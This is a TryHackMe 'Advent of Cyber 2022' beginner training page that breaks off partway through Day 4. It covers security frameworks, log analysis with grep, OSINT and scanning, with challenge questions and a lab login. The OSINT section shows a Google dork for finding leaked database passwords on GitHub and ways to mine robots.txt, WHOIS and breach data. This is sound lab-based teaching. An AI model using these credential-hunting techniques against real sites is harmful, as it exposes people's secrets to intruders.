Skip to main content

Advent of Cyber 2022

Get started with Cyber Security in 24 Days - learn the basics by doing a new, beginner-friendly security challenge every day leading up to Christmas.

Task 1: Introduction


Welcome to Advent of Cyber 2022

Get started with Cyber Security in 24 days! Learn the basics and complete a new, beginner-friendly security exercise every day leading up to Christmas. It’s an advent calendar but with security challenges instead of chocolate!

Main Prizes 
We have over $40,000 worth of prizes!

In this event, points don’t matter, but the number of questions you answer does! For each question you get correct, you get a raffle ticket. We will randomly choose the winners on the 28th of December using everyone’s raffle tickets. The more questions you answer, the more chances you have of winning. Here are the prizes up for grabs:
6x Offensive Security Learn One Subscriptions ($12000)
1x TryHackMe will donate to your favourite charity ($2000)
5x Raspberry Pi 400 ($580)
10x Airpods 2nd Gen Pro ($2500)
6x DJI Drone ($3000)
10x GoPro ($3500)
10x CompTIA Security+ Vouchers ($2700)
4x Remarkable 2 ($1200)
10x Flipper Zero ($2100)
12x ASUS ZenBook 14 8GB RAM, 512GB SSD, Intel i5 ($8400)
10x Hak5 WiFi Pineapple ($1200)
10x Hak5 Rubber Ducky ($600)
15x TryHackMe Monthly Subscriptions ($150)
5x $20 TryHackMe Swag Vouchers ($100)
Total Prize Pool Value: ~$40,100
For Learn One Subscriptions, winners will be able to select their Offensive Security course.
View Giveaway Terms & Conditions
  1. By participating in the competition you agree to be bound by these terms and conditions.
  2. Entrants must be over 16 years old on the date of their entry.
  3. Winners will be contacted by email on December 28th 2022 (if not earlier). Winners need to respond by December 30th, otherwise, the prize value will go to a charity of TryHackMe choice.
  4. Prizes are non-negotiable, non-transferable and non-refundable. No cash alternative is available. Where a Prize becomes unavailable for any reason, TryHackMe reserves the right to substitute that prize for a prize of equal or higher value.
  5. Prizes are limited to one per person.
  6. The Prize will be awarded to a randomly selected winner who has entered, using a random number generator. TryHackMe will not be held liable if the named prize becomes unavailable or cannot be fulfilled.
  7. Employees of TryHackMe are not eligible to enter.
  8. To the extent permitted by applicable law, TryHackMe shall not be liable under or in connection with these terms and conditions, the competition or any Prize for any indirect, special or consequential cost, expense, loss or damage suffered by a participant even if such cost, expense, loss or damage was reasonably foreseeable or might reasonably have been contemplated by the participant and TryHackMe and whether arising from breach of contract, tort, negligence, breach of statutory duty or otherwise.
  9. The name, address, and email address of the winner must be provided to TryHackMe if requested and will be shared to enable fulfilment of the Prize.​
  10. The winner’s username may be posted on the social media profiles of TryHackMe after the winner has been selected.
  11. No purchase is necessary. Winners will not be required to pay to enter the competition.
  12. If the Prize is not available in the winner's region, TryHackMe will donate the Prize value to a charity of the winners choice.

Daily Prizes

Also, every day you complete a question, you get entered into another prize draw for the chance to win a mini-prize. Each day you can win one of two prizes: a 1-month TryHackMe subscription voucher or £15 swag voucher.

The prize winners for each day will be announced on Mondays on Twitter, and they will be contacted via email.

How to qualify

To qualify for prizes, you must answer questions in Advent of Cyber 2022 challenges, starting with Day 1 (Task 6 of this room). Only questions answered in the Advent of Cyber 2022 room will qualify you for the raffle.

For the main prize pool, it does not matter when you complete tasks, only that you complete them before December 28th, 2022. To qualify for daily prizes, you must complete tasks on their release days (for example, complete Day 8 on December 8th).

 Certificate
Finally, if you complete every task in the event, you will earn a certificate of completion! Make sure your name is set in your profile.
View Sample Certificate


Videos Featuring
Each task released has a supporting video walkthrough. You can expect to see some of your favourite cyber security video creators and streamers guiding you through the challenges! This year we are featuring John Hammond, Cybersecurity Meg, Husky Hacks, SecurityNinja, Neal Bridges, InsiderPHD, and more!

Topics Include
Topics that will be covered in the event are:

Red Teaming Secure Coding Web Vulnerabilities Blue Teaming IoT Hacking

Answer the questions below

  1. Read the above and check out the prizes!

Task 2: Short Tutorial & Rules


Short Tutorial

New tasks are released daily at random times between 12pm GMT and 8pm GMT, with the first challenge releasing on December 1st. They will vary in difficulty (although they will always be aimed at a beginner level).

Each task in the event will include instructions on interacting with the practical material. Please follow them carefully! Below are some general guidelines for getting connected:

  • We highly recommend you complete the Tutorial room to learn more about getting connected.
  • To access some lab machines you deploy on TryHackMe, you will need to either use an OpenVPN client or deploy your own web-based AttackBox.
  • You can deploy the AttackBox by clicking the blue "Start AttackBox" button at the top of this page.
  • Using the web-based AttackBox, you can complete exercises through your browser. If you're a regular user, you can deploy the AttackBox for free for 1 hour a day; if you're subscribed, you can deploy it for an unlimited amount of time!
  • One of the tasks in the event will require you to deploy the Kali Linux VM instead of the AttackBox. If you are not a subscriber, you will need to use your own VM for this task, and connect via OpenVPN. 
  • Some tasks will ask you to only deploy a VM without spawning the AttackBox.
  • Some tasks will feature sites to interact with - in this case, launching the website using an appropriate button and opening it in split view will be enough.

Rules

Breaking any of the following rules will result in elimination from the event:

  • .tryhackme.com and the OpenVPN server are off-limits to probing, scanning, or exploiting.
  • Users are only authorized to hack machines deployed in the rooms they have access to.
  • Users are not to target or attack other users.
  • Users should only enter the event once, using one account.
  • Answers to questions are not to be shared; unless shown on videos/streams.

Answer the questions below

  1. Practice connecting to our network!

Task 3: Our Socials



Follow us on LinkedIn!



Be a part of our community and join our 
Discord!



Follow us on 
Twitter to receive daily challenge posts!



Join our growing subreddit!

Join us on Instagram! 

Follow us on Facebook!

See what we do on Pinterest! 

Follow us on social media for exclusive giveaways and the Advent of Cyber task release announcements!

If you want to share the event, feel free to use the graphic below:


https://tryhackme.com/christmas

Answer the questions below

  1. Follow us on LinkedIn!

  2. Join our Discord and say hi!
  3. Follow us on Twitter!

  4. Check out the subreddit!

  5. Join us on Instagram! 

  6. Follow us on Facebook!

  7. See what we do on Pinterest! 

Task 4: Subscribing, TryHackMe for Business & Christmas Swag!

Subscribing

The Advent of Cyber event is completely free! However, check out some of the reasons to subscribe: 

In celebration of Advent of Cyber, you can get 20% off personal annual subscriptions, using the discount code AOC2022 at checkout. This discount is only valid until the 7th of December, that's in: 

If you want to gift a TryHackMe VIP subscription, you can purchase vouchers.

Christmas Swag

Want to rep swag from your favorite cyber security training platform?
We have a special edition Christmas Advent of Cyber t-shirt available now - check our swag store to order yours!


Completing Advent of Cyber as an organization

With TryHackMe’s management dashboard for business, you can do the following:
  • Get full access to all of TryHackMe’s rooms and features, including Advent of Cyber
  • Leverage competitive learning and collectively engage your team in Advent of Cyber tasks, measuring their progress
  • Create customised learning to deep dive into further training topics based on Advent of Cyber and beyond

We’re also running a limited set of enterprise training webinars for TryHackMe for Business clients to deeply explore some of the topics that we are running through the Advent of Cyber. More details about this to follow as the event starts!

If you’re interested in exploring the plethora of business benefits TryHackMe brings, reach out to sales@tryhackme.com for a week-long free trial of the management dashboard. Customise paths and track your team’s progress for heightened engagement, enjoyment, and cyber security strength!

If you’re an existing client and want to get your wider team and company involved, please reach out to your dedicated customer success manager!

Answer the questions below

  1. Read the above.

Task 5: Nightmare Before Elfmas - The Story

[Nightmare Before Elfmas]

All exercises in Advent of Cyber follow a fun Christmas story. This year, the elf McSkidy needs your help to investigate a serious breach and test all remaining systems for security flaws.


Ah, the holiday season is close again! You might not feel it yet, but way up north, Elf McSkidy is already busy making sure you get your presents this year. As she walked through the yard of Santa’s workshop this morning, a cup of hot chocolate in her hands, everything seemed to be going great! Gifts getting wrapped, reindeer exercising on treadmills, and Santa’s sleigh being polished, the whole place was just teeming with elf activity.

When McSkidy entered the office, she immediately noticed that something was, in fact, out of order. A big, dark, half-frosted card was just lying on her desk! Who placed it there? How did they get into the locked Security Operations Centre (SOC) room? What did they want from Best Festival Company’s Chief Information Security Officer?!

Not having to think twice about it, McSkidy slammed the big “ALARM” button and yelled: “Security staff! All hands on deck. We’ve got an incident!”

She did not have to wait long - pretty quickly, the corridors of Best Festival Company’s offices saw a team of security specialists rushing to the SOC room. The McReds, ethical hackers at Santa’s command who find vulnerabilities before the bad guys do, came from the workshop. Elf Exploit McRed was first, then Elf Recon, and finally Elf Pivot skating on the icy floors. The McBlues rushed from the yard, where they were setting up monitoring, as they are responsible for Santa’s defences. McSkidy watched as Elf Log McBlue came running in, followed by Elf Admin and Elf Forensic, the gear strapped to their belts jingling loudly. Santa’s Security Team surrounded McSkidy, all holding their breaths. McSkidy picked up the evil-looking card from her desk with trembling hands, opened it, and they all saw what was inside:

    oH, oH, oH,
    Someone’s been naughty this year, leaving your shop open like that!
    We started with a little puzzle. Let’s see what more we can do!
        - Your Secret Santa

“But our shop wasn’t open! The door was locked when I entered. And you are monitoring the walls, right?” - McSkidy looked to her team for support. After a few clicks of the keyboard at the nearest computer, Admin McBlue announced: “It’s the gift shop website, McSkidy. It’s been defaced. There’s…. A puzzle? It says we’ll learn who did it if we solve it.”

The SOC room had just a few seconds of silence before the other elves started shouting:

“We need to investigate!”, “Check the logs!”, “Review monitoring!”, “Audit other systems!”, “Lock down the network!”

McSkidy held her hand up, waiting for the elves to calm down. “We’ve been through something like this last year. This year, we’re saving Christmas again!”

See you in the daily tasks! We hope you can help McSkidy and the Team find out who is their mysterious adversary, investigate the incident, and secure their systems once again. Please note that the difficulty of challenges might vary each day, but they will always be easily approachable by beginners in cyber security. Have fun in Advent of Cyber!

Answer the questions below

  1. The Christmas story is used within some of the tasks, so make sure you read the above.

Task 6: [Day 1] Frameworks Someone's coming to town!

                  The Story

John Hammond is kicking off the Advent of Cyber 2022 with a video premiere at 2pm BST! Once the video becomes available, you'll be able to see a sneak peek of the other tasks and a walkthrough of this day's challenge! 

Check out John Hammond's video walkthrough for day 1 here!

Best Festival Company Compromised

Someone is trying to stop Christmas this year and stop Santa from delivering gifts to children who were nice this year. The Best Festival Company’s website has been defaced, and children worldwide cannot send in their gift requests. There’s much work to be done to investigate the attack and test other systems! The attackers have left a puzzle for the Elves to solve and learn who their adversaries are. McSkidy looked at the puzzle and recognised some of the pieces as the phases of the Unified Kill Chain, a security framework used to understand attackers. She has reached out to you to assist them in recovering their website, identifying their attacker, and helping save Christmas.

Security Frameworks

Organisations such as Santa’s Best Festival Company must adjust and improve their cybersecurity efforts to prevent data breaches. Security frameworks come into play to guide in setting up security programs and improve the security posture of the organisation.

Security frameworks are documented processes that define policies and procedures organisations should follow to establish and manage security controls. They are blueprints for identifying and managing the risks they may face and the weaknesses in place that may lead to an attack.

Frameworks help organisations remove the guesswork of securing their data and infrastructure by establishing processes and structures in a strategic plan. This will also help them achieve commercial and government regulatory requirements.

Let’s dive in and briefly look at the commonly used frameworks.

NIST Cybersecurity Framework

The Cybersecurity Framework (CSF) was developed by the National Institute of Standards and Technology (NIST), and it provides detailed guidance for organisations to manage and reduce cybersecurity risk. The framework focuses on five essential functions: Identify -> Protect -> Detect -> Respond -> Recover. With these functions, the framework allows organisations to prioritise their cybersecurity investments and engage in continuous improvement towards a target cybersecurity profile.

ISO 27000 Series

The International Organization of Standardization (ISO) develops a series of frameworks for different industries and sectors. The ISO 27001 and 27002 standards are commonly known for cybersecurity and outline the requirements and procedures for creating, implementing and managing an information security management system (ISMS). These standards can be used to assess an institution’s ability to meet set information security requirements through the application of risk management.

MITRE ATT&CK Framework

Identifying adversary plans of attack can be challenging to embark on blindly. They can be understood through the behaviours, methods, tools and strategies established for an attack, commonly known as Tactics, Techniques and Procedures (TTPs). The MITRE ATT&CK framework is a knowledge base of TTPs, carefully curated and detailed to ensure security teams can identify attack patterns. The framework’s structure is similar to a periodic table, mapping techniques against phases of the attack chain and referencing system platforms exploited. 

This framework highlights the detailed approach it provides when looking at an attack. It brings together environment-specific cybersecurity information to provide cyber threat intelligence insights that help teams develop effective security programs for their organisations. Dive further into the framework by checking out the dedicated MITRE room.

Cyber Kill Chain

A key concept of this framework was adopted from the military with the terminology kill chain, which describes the structure of an attack and consists of target identification, decision and order to attack the target, and finally, target destruction. Developed by Lockheed Martin, the cyber kill chain describes the stages commonly followed by cyber attacks and security defenders can use the framework as part of intelligence-driven defence.

There are seven stages outlined by the Cyber Kill Chain, enhancing visibility and understanding of an adversary’s tactics, techniques and procedures.


Dive further into the kill chain by checking out the dedicated Cyber Kill Chain room.

Unified Kill Chain

As established in our scenario, Santa’s team have been left with a clue on who might have attacked them and pointed out to the Unified Kill Chain (UKC). The Elf Blue Team begin their research.

The Unified Kill Chain can be described as the unification of the MITRE ATT&CK and Cyber Kill Chain frameworks. Published by Paul Pols in 2017 (and reviewed in 2022), the UKC provides a model to defend against cyber attacks from the adversary’s perspective. The UKC offers security teams a blueprint for analysing and comparing threat intelligence concerning the adversarial mode of working.

The Unified Kill Chain describes 18 phases of attack based on Tactics, Techniques and Procedures (TTPs). The individual phases can be combined to form overarching goals, such as gaining an initial foothold in a targeted network, navigating through the network to expand access and performing actions on critical assets. Santa’s security team would need to understand how these phases are put together from the attacker’s perspective.

CYCLE 1: In

The main focus of this series of phases is for an attacker to gain access to a system or networked environment. Typically, cyber-attacks are initiated by an external attacker. The critical steps they would follow are: 

  • Reconnaissance: The attacker performs research on the target using publicly available information.
  • Weaponisation: Setting up the needed infrastructure to host the command and control centre (C2) is crucial in executing attacks.
  • Delivery: Payloads are malicious instruments delivered to the target through numerous means, such as email phishing and supply chain attacks.
  • Social Engineering: The attacker will trick their target into performing untrusted and unsafe action against the payload they just delivered, often making their message appear to come from a trusted in-house source.
  • Exploitation: If the attacker finds an existing vulnerability, a software or hardware weakness, in the network assets, they may use this to trigger their payload.
  • Persistence: The attacker will leave behind a fallback presence on the network or asset to make sure they have a point of access to their target.
  • Defence Evasion: The attacker must remain anonymous throughout their exploits by disabling and avoiding any security defence mechanisms enabled, including deleting evidence of their presence.
  • Command & Control: Remember the infrastructure that the attacker prepared? A communication channel between the compromised system and the attacker’s infrastructure is established across the internet.

This phase may be considered a loop as the attacker may be forced to change tactics or modify techniques if one fails to provide an entrance into the network.

CYCLE 2: Through

Under this phase, attackers will be interested in gaining more access and privileges to assets within the network.

The attacker may repeat this phase until the desired access is obtained.

  • Pivoting: Remember the system that the attacker may use for persistence? This system will become the attack launchpad for other systems in the network.
  • Discovery: The attacker will seek to gather as much information about the compromised system, such as available users and data. Alternatively, they may remotely discover vulnerabilities and assets within the network. This opens the way for the next phase.
  • Privilege Escalation: Restricted access prevents the attacker from executing their mission. Therefore, they will seek higher privileges on the compromised systems by exploiting identified vulnerabilities or misconfigurations.
  • Execution: With elevated privileges, malicious code may be downloaded and executed to extract sensitive information or cause further havoc on the system.
  • Credential Access: Part of the extracted sensitive information would include login credentials stored in the hard disk or memory. This provides the attacker with more firepower for their attacks.
  • Lateral Movement: Using the extracted credentials, the attacker may move around different systems or data storages within the network, for example, within a single department.

    NOTE: A key element that one may think is missing is Access. This is not formally covered as a phase of the UKC, as it overlaps with other phases across the different levels, leading to the adversary achieving their goals for an attack.

    CYCLE 3: Out

    The Confidentiality, Integrity and Availability (CIA) of assets or services are compromised during this phase. Money, fame or sabotage will drive attackers to undertake their reasons for executing their attacks, cause as much damage as possible and disappear without being detected.

    • Collection: After finding the jackpot of data and information, the attacker will seek to aggregate all they need. By doing so, the assets’ confidentiality would be compromised entirely, especially when dealing with trade secrets and financial or personally identifiable information (PII) that is to be secured.
    • Exfiltration: The attacker must get his loot out of the network. Various techniques may be used to ensure they have achieved their objectives without triggering suspicion.
    • Impact: When compromising the availability or integrity of an asset or information, the attacker will use all the acquired privileges to manipulate, interrupt and sabotage. Imagine the reputation, financial and social damage an organisation would have to recover from.
    • Objectives: Attackers may have other goals to achieve that may affect the social or technical landscape that their targets operate within. Defining and understanding these objectives tends to help security teams familiarise themselves with adversarial attack tools and conduct risk assessments to defend their assets.

    Saving The Best Festival Company

    Having gone through the UKC with Santa’s security team, it is evident that better defensive strategies must be implemented to raise resilience against attacks.

    Your task is to help the Elves solve a puzzle left for them to identify who is trying to stop Christmas. Click the View Site button at the top of the task to launch the static site in split view. You may have to open the static site on a new window and zoom in for a clearer view of the puzzle pieces.

    Answer the questions below

    1. Who is the adversary that attacked Santa's network this year?
    2. What's the flag that they left behind?

    3. Looking to learn more? Check out the rooms on Unified Kill Chain, Cyber Kill Chain, MITRE, or the whole Cyber Defence Frameworks module! 

    Task 7: [Day 2] Log Analysis Santa's Naughty & Nice Log

                           The Story

    Check out CMNatic's video walkthrough for Day 2 here!

    Santa’s Security Operations Center (SSOC) has noticed one of their web servers, santagift.shop has been hijacked by the Bandit Yeti APT group. Elf McBlue’s task is to analyse the log files captured from the web server to understand what is happening and track down the Bandit Yeti APT group.


    Learning Objectives

    In today’s task, you will:

    • Learn what log files are and why they’re useful
    • Understand what valuable information log files can contain
    • Understand some common locations these logs file can be found
    • Use some basic Linux commands to start analysing log files for valuable information
    • Help Elf McBlue track down the Bandit Yeti APT!

    What Are Log Files and Why Are They Useful

    Log files are files that contain historical records of events and other data from an application. Some common examples of events that you may find in a log file:

    • Login attempts or failures
    • Traffic on a network
    • Things (website URLs, files, etc.) that have been accessed
    • Password changes
    • Application errors (used in debugging)
    • and many, many more

    By making a historical record of events that have happened, log files are extremely important pieces of evidence when investigating:

    • What has happened?
    • When has it happened?
    • Where has it happened?
    • Who did it? Were they successful?
    • What is the result of this action?

      For example, a systems administrator may want to log the traffic happening on a network. We can use logging to answer the questions above in a given scenario:

      A user has reportedly accessed inappropriate material on a University network. With logging in place, a systems administrator could determine the following:

      QuestionAnswer
      What has happened?
      A user is confirmed to have accessed inappropriate material on the University network.
      When has it happened?
      It happened at 12:08 on Tuesday, 01/10/2022.
      Where has it happened?
      It happened from a device with an IP address (an identifier on the network) of 10.3.24.51.
      Who did it? Were they successful?
      The user was logged into the university network with their student account.
      What is the result of the action?
      The user was able to access inappropriatecontent.thm.


      What Does a Log File Look Like?

      Log files come in all shapes and sizes. However, a useful log will contain at least some of the following attributes:

      1. A timestamp of the event (I.e. Date & Time)
      2. The name of the service that is generating the logfile (I.e. SSH is a remote device management protocol that allows a user to login into a system remotely)
      3. The actual event the service logs (i.e., in the event of a failed authentication, what credentials were tried, and by whom? (IP address)).



      Common Locations of Log Files

      Windows

      Windows features an in-built application that allows us to access historical records of events that happen. The Event Viewer is illustrated in the picture below:


      These events are usually categorised into the following:

      CategoryDescriptionExample
      ApplicationThis category contains all the events related to applications on the system. For example, you can determine when services or applications are stopped and started and why.The service "tryhackme.exe" was restarted.
      SecurityThis category contains all of the events related to the system's security. For example, you can see when a user logs in to a system or accesses the credential manager for passwords.User "cmnatic" successfully logged in.
      SetupThis category contains all of the events related to the system's maintenance. For example, Windows update logs are stored here.The system must be restarted before "KB10134" can be installed.
      SystemThis category contains all the events related to the system itself. This category of events contains logs that relate to changes in the system itself. For example, when the system is powered on or off or when devices such as USB drives are plugged-in or removed.The system unexpectedly shutdown due to power issues.

      Linux (Ubuntu/Debian)

      On this flavour of Linux, operating system log files (and often software-specific such as apache2) are located within the /var/log directory. We can use the ls in the /var/log directory to list all the log files located on the system:

      Listing log files within the /var/log directory
                 cmnatic@aoc2022-day-2:/var/log$ ls -lah
      total 724K
      drwxrwxr-x   9 root      syslog          4.0K Nov 14 10:59 .
      drwxr-xr-x  13 root      root            4.0K Oct 26  2020 ..
      drwxr--r-x   3 root      root            4.0K Nov 14 10:56 amazon
      drwxr-xr-x   2 root      root            4.0K Oct 26  2020 apt
      -rw-r-----   1 syslog    adm              11K Nov 14 11:03 auth.log
      -rw-rw----   1 root      utmp               0 Oct 26  2020 btmp
      -rw-r--r--   1 root      root            7.3K Nov 14 10:59 cloud-init-output.log
      -rw-r--r--   1 syslog    adm             251K Nov 14 10:59 cloud-init.log
      drwxr-xr-x   2 root      root            4.0K Oct  7  2020 dist-upgrade
      -rw-r--r--   1 root      adm              36K Nov 14 10:59 dmesg
      -rw-r--r--   1 root      adm              36K Nov 14 10:56 dmesg.0
      -rw-r--r--   1 root      root             12K Oct 26  2020 dpkg.log
      drwxr-sr-x+  3 root      systemd-journal 4.0K Nov 14 10:55 journal
      -rw-r-----   1 syslog    adm              98K Nov 14 10:59 kern.log
      drwxr-xr-x   2 landscape landscape       4.0K Nov 14 10:57 landscape
      -rw-rw-r--   1 root      utmp            286K Nov 14 11:03 lastlog
      drwx------   2 root      root            4.0K Nov 14 10:55 private
      -rw-r-----   1 syslog    adm             207K Nov 14 11:03 syslog
      drwxr-x---   2 root      adm             4.0K Nov 14 10:55 unattended-upgrades
      -rw-rw-r--   1 root      utmp            8.3K Nov 14 11:03 wtmp
              

      The following table highlights some important log files:

      CategoryDescriptionFile (Ubuntu)Example
      AuthenticationThis log file contains all authentication (log in). This is usually attempted either remotely or on the system itself (i.e., accessing another user after logging in).auth.logFailed password for root from 192.168.1.35 port 22 ssh2.
      Package ManagementThis log file contains all events related to package management on the system. When installing a new software (a package), this is logged in this file. This is useful for debugging or reverting changes in case this installation causes unintended behaviour on the system.dpkg.log2022-06-03 21:45:59 installed neofetch.
      SyslogThis log file contains all events related to things happening in the system's background. For example, crontabs executing, services starting and stopping, or other automatic behaviours such as log rotation. This file can help debug problems.syslog2022-06-03 13:33:7 Finished Daily apt download activities..
      KernelThis log file contains all events related to kernel events on the system. For example, changes to the kernel, or output from devices such as networking equipment or physical devices such as USB devices. kern.log2022-06-03 10:10:01 Firewalling registered

      Looking Through Log Files

      Log files can quickly contain many events and hundreds, if not thousands, of entries. The difficulty in analysing log files is separating useful information from useless. Tools such as Splunk are software solutions known as Security Information and Event Management (SIEM) is dedicated to aggregating logs for analysis. Listed in the table below are some of the advantages and disadvantages of these platforms:

      AdvantageDisadvantage
      SIEM platforms are dedicated services for log analysis.Commercial SIEM platforms are expensive to license and run.
      SIEM platforms can collect a wide variety of logs - from devices to networking equipment.SIEM platforms take considerable time to properly set up and configure.
      SIEM platforms allow for advanced, in-depth analysis of many log files at once.SIEM platforms require training to be properly used.

      Luckily for us, most operating systems already come with a set of tools that allow us to search through log files. In this room, we will be using the grep command on Linux.

      Grep 101

      Grep is a command dedicated to searching for a given text in a file. Grep takes a given input (a text or value) and searches the entire file for any text that matches our input. 

      Before using grep, we have to find the location of the log file that we want to search for. By default, grep will use your current working directory. You can find out what your current working directory is by using pwd. For example, in the terminal below, we are in the working directory /home/cmnatic/aoc2022/day2/:


      Using pwd to view our current working directory
                 cmnatic@thm:~/aoc2022/day2 pwd
                 /home/cmnatic/aoc2022/day2/
              

      If we wish to change our current working directory, you can use cd followed by the new path you wish to change to. For example, cd /my/path/here. Once we've determined that we are in the correct directory, we can use ls to list the files and directories in our current working path. An example of this has been put into the terminal below:

      Using ls to list the files and directories in our current directory
                 cmnatic@aoc2022-day-2:~$ ls -lah
      webserver.log helloworld.txt mydirectory
              

      Now that we know where our log files are, we can begin to proceed with learning how to use grep. To use grep, we need to do three things:

      • Call the command.
      • Specify any options that we wish to use (this will later be explained), but for now, we can ignore this.
      • Specify the location of the file we wish to search through (grep will first assume the file is in your current directory unless you tell it otherwise by providing the path to the file i.e. /path/to/our/logfile.log).

      For example, in the terminal below, we are using grep to look through the log file for an IP address. The log file is located in our current working directory, so we do not need to provide a path to the log file - just the name of the log file.

      Using grep to look in a log file for activity from an IP address
                 ubuntu@thm:~ grep "192.168.1.30" access.log
      192.168.1.30 - - [14/Nov/2022:00:53:07 +0000] "GET / HTTP/1.1" 200 13742
      192.168.1.30 - - [14/Nov/2022:00:53:43 +0000] "HEAD
              

      In the terminal above, we can see two entries in this log file (access.log) for the IP address "192.168.1.30". For reference, we've narrowed down two entries from a log file with 469 entries. Our life has already been made easier! Here are some ideas for things you may want to use grep to search a log file for:

      • A name of a computer.
      • A name of a file.
      • A name of a user account.
      • An IP address.
      • A certain timestamp or date.

      As previously mentioned, we can provide some options to grep to enable us to have more control over the results of grep. The table below contains some of the common options that you may wish to use with grep.

      OptionDescriptionExample
      -i

      Perform a case insensitive search. For example, "helloworld" and "HELLOWORLD" will return the same results

      grep -i "helloworld" log.txt and grep -i "HELLOWORLD" log.txt will return the same matches.
      -ESearches using regex (regular expressions). For example, we can search for lines that contain either "thm" or "tryhackme"

      grep -E "thm|tryhackme" log.txt

      -rSearch recursively. For example, search all of the files in a directory for this value.

      grep -r "helloworld" mydirectory

      Further options available in grep can be searched within grep's manual page via man grep

      Practical:

      For today's task, you will need to deploy the machine attached to this task by pressing the green "Start Lab Machine" button located at the top-right of this task. The machine should launch in a split-screen view. If it does not, you will need to press the blue "Show Split Screen" button near the top-right of this page.

      If you wish, you can use the following credentials to access the machine using SSH (remember to connect to the VPN first):

      • IP address: MACHINE_IP
      • Username: elfmcblue
      • Password: tryhackme!

      Use the knowledge you have gained in today's task to help Elf McBlue track down the Bandit Yeti APT by answering the questions below.

      Answer the questions below

      1. Ensure you are connected to the deployable machine in this task.
      2. Use the ls command to list the files present in the current directory. How many log files are present?

      3. Elf McSkidy managed to capture the logs generated by the web server. What is the name of this log file?

      4. Begin investigating the log file from question #3 to answer the following questions.

      5. On what day was Santa's naughty and nice list stolen?

      6. What is the IP address of the attacker?

      7. What is the name of the important list that the attacker stole from Santa?

      8. Look through the log files for the flag. The format of the flag is: THM{}

      9. Interested in log analysis? We recommend the Windows Event Logs room or the Endpoint Security Monitoring Module. 

      Task 8: [Day 3] OSINT Nothing escapes detective McRed

      The Story

      Check out CyberSecMeg's video walkthrough for Day 3 here!

      As the elves are trying to recover the compromised santagift.shop website, elf Recon McRed is trying to figure out how it was compromised in the first place. Can you help him in gathering open-source information against the website?  

      Learning Objectives
      • What is OSINT, and what techniques can extract useful information against a website or target?
      • Using dorks to find specific information on the Google search engine
      • Extracting hidden directories through the Robots.txt file
      • Domain owner information through WHOIS lookup
      • Searching data from hacked databases
      • Acquiring sensitive information from publicly available GitHub repositories
      What is OSINT
      OSINT is gathering and analysing publicly available data for intelligence purposes, which includes information collected from the internet, mass media, specialist journals and research, photos, and geospatial information. The information can be accessed via the open internet (indexed by search engines), closed forums (not indexed by search engines) and even the deep and dark web. People tend to leave much information on the internet that is publicly available and later on results in impersonation, identity theft etc. 

      OSINT Techniques
      Google Dorks
      Google Dorking involves using specialist search terms and advanced search operators to find results that are not usually displayed using regular search terms. You can use them to search specific file types, cached versions of a particular site, websites containing specific text etc.  Bad actors widely use it to locate website configuration files and loopholes left due to bad coding practices. Some of the widely used Google dorks are mentioned below:
      • inurl: Searches for a specified text in all indexed URLs. For example, inurl:hacking will fetch all URLs containing the word "hacking".
      • filetype: Searches for specified file extensions. For example, filetype:pdf "hacking" will bring all pdf files containing the word "hacking". 
      • site: Searches all the indexed URLs for the specified domain. For example, site:tryhackme.com will bring all the indexed URLs from  tryhackme.com.
      • cache: Get the latest cached version by the Google search engine. For example, cache:tryhackme.com.
      For example, you can use the dork site:github.com "DB_PASSWORD" to search only in github.com and look for the string DB_PASSWORD (possible database credentials). You can learn more about Google dorks through this free room.

      Bingo! We have identified several repositories with database passwords.

      WHOIS Lookup
      WHOIS database stores public domain information such as registrant (domain owner), administrative, billing and technical contacts in a centralised database. The database is publicly available for people to search against any domain and enables acquiring Personal Identifiable Information (PII) against a company, like an email address, mobile number etc., of technical contact. Bad actors can, later on, use the information for profiling, spear phishing campaigns (targeting selected individuals) etc. Nowadays, registrars offer Domain Privacy options that allow users to keep their WHOIS information private from the general public and only accessible to certain entities like designated registrars. 

      Multiple websites allow checking the WHOIS information against the website. For example, you can check WHOIS information on github.com through this free website. 


      Robots.txt
      The robots.txt is a publicly accessible file created by the website administrator and intended for search engines to allow or disallow indexing of the website's URLs. All websites have their robots.txt file directly accessible through the domain's main URL. It is a kind of communication mechanism between websites and search engine crawlers. Since the file is publicly accessible, it doesn't mean anyone can edit or modify it. You can access robots.txt by simply appending robots.txt at the end of the website URL. For example, in the case of Google, we can access the robots.txt file by clicking this URL.


      We can see that Google has allowed and disallowed specific URLs for web scrapers and search engines. The disallow parameter helps bad actors to identify sensitive directories that can be manually accessed and exploited, like the admin panel, logs folder, etc. 

      Breached Database Search
      Major social media and tech giants have suffered data breaches in the past.  As a result, the leaked data is publicly available and, most of the time contains PII like usernames, email addresses, mobile numbers and even passwords. Users may use the same password across all the websites; that enables bad actors to re-use the same password against a user on a different platform for a complete account takeover. Many web services offer to check if your email address or phone number is in a leaked database; HaveIBeenPwned is one of the free services. 

      Elf Recon McRed tried to run all email addresses of the Santa gift shop website to identify any leakage, and gladly no data breach was found. 

      Searching GitHub Repos
      GitHub is a renowned platform that allows developers to host their code through version control. A developer can create multiple repositories and set the privacy setting as well. A common flaw by developers is that the privacy of the repository is set as public, which means anyone can access it. These repositories contain complete source code and, most of the time, include passwords, access tokens, etc. 


      McRed, the recon master, searched various terms on GitHub to find something useful like SantaGiftShop, SantaGift, SantaShop etc. Luckily, one of the terms worked, and he found the website's complete source code publicly available through OSINT.  

      Answer the questions below

      1. What is the name of the Registrar for the domain santagift.shop?
      2. Find the website's source code (repository) on github.com and open the file containing sensitive credentials. Can you find the flag?

      3. What is the name of the file containing passwords?

      4. What is the name of the QA server associated with the website?

      5. What is the DB_PASSWORD that is being reused between the QA and PROD environments?

      6. Check out this room if you'd like to learn more about Google Dorking! 

      Task 9: [Day 4] Scanning Scanning through the snow

                             The Story

      Check out HuskyHack's video walkthrough for Day 4 here!

      During the investigation of the downloaded GitHub repo (OSINT task), elf Recon McRed identified a URL qa.santagift.shop that is probably used by all the elves with admin privileges to add or delete gifts on the Santa website. The website has been pulled down for maintenance, and now Recon McRed is scanning the server to see how it's been compromised. Can you help McRed scan the network and find the reason for the website compromise?

      Learning Objectives
      • What is Scanning?
      • Scanning types
      • Scanning techniques
      • Scanning tools
      What is Scanning
      Scanning is a set of procedures for identifying live hosts, ports, and services, discovering the operating system of the target system, and identifying vulnerabilities and threats in the network. These scans are typically automated and give an insight into what could be exploited. Scanning reveals parts of the attack surface for attackers and allows launching targeted attacks to exploit the system.

      Scanning Types
      Scanning is classified as either active or passive based on the degree of intrusiveness to gathering information about a target system or network, as explained below:
      • Passive Scanning: This method involves scanning a network without directly interacting with the target device (server, computer etc.). Passive scanning is usually carried out through packet capture and analysis tools like Wireshark; however, this technique only provides basic asset information like OS version, network protocol etc., against the target.
